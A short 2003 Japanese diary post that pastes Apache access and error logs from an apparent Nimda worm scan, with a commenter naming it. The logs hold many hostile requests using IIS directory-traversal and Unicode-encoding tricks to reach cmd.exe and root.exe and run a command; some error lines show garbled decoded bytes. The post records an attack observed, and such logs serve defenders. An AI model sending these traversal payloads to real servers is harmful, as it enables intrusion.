hotta-sの日記： さっそくポートスキャン

なんと早速ポートスキャンされてる!!
記念なので、access.logとerror.logの該当部分を張り付けておく。

access.log

210.12.218.3 - - [24/Jan/2003:08:27:55 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276
210.12.218.3 - - [24/Jan/2003:08:27:56 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274
210.12.218.3 - - [24/Jan/2003:08:27:58 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
210.12.218.3 - - [24/Jan/2003:08:27:59 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
210.12.218.3 - - [24/Jan/2003:08:28:01 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
210.12.218.3 - - [24/Jan/2003:08:28:02 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
210.12.218.3 - - [24/Jan/2003:08:28:04 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
210.12.218.3 - - [24/Jan/2003:08:28:05 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
210.12.218.3 - - [24/Jan/2003:08:28:06 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.12.218.3 - - [24/Jan/2003:08:28:07 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.12.218.3 - - [24/Jan/2003:08:28:09 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.12.218.3 - - [24/Jan/2003:08:28:10 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.12.218.3 - - [24/Jan/2003:08:28:11 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
210.12.218.3 - - [24/Jan/2003:08:28:12 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
210.12.218.3 - - [24/Jan/2003:08:28:14 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
210.12.218.3 - - [24/Jan/2003:08:28:15 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298

error.log

[Fri Jan 24 08:27:54 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/scripts/root.exe
[Fri Jan 24 08:27:56 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/MSADC/root.exe
[Fri Jan 24 08:27:58 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/c/winnt/system32/cmd.exe
[Fri Jan 24 08:27:59 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/d/winnt/system32/cmd.exe
[Fri Jan 24 08:28:01 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/scripts/..%5c../winnt/system32/cmd.exe
[Fri Jan 24 08:28:02 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Fri Jan 24 08:28:04 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Fri Jan 24 08:28:05 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/msadc/..%5c../..%5c../..%5c/..�../..�../..�../winnt/system32/cmd.exe
[Fri Jan 24 08:28:06 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/scripts/..�../winnt/system32/cmd.exe
[Fri Jan 24 08:28:09 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/scripts/..政../winnt/system32/cmd.exe
[Fri Jan 24 08:28:10 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/scripts/..�../winnt/system32/cmd.exe
[Fri Jan 24 08:28:14 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/scripts/..%5c../winnt/system32/cmd.exe
[Fri Jan 24 08:28:15 2003] [error] [client 210.12.218.3] File does not exist: /opt/apache/htdocs/scripts/..%2f../winnt/system32/cmd.exe
[Fri Jan 24 13:45:18 2003] [error] [client 210.180.43.18] File does not exist: /opt/apache/htdocs/scripts/root.exe

NIMDA

[Sleeper (9921)]

ですね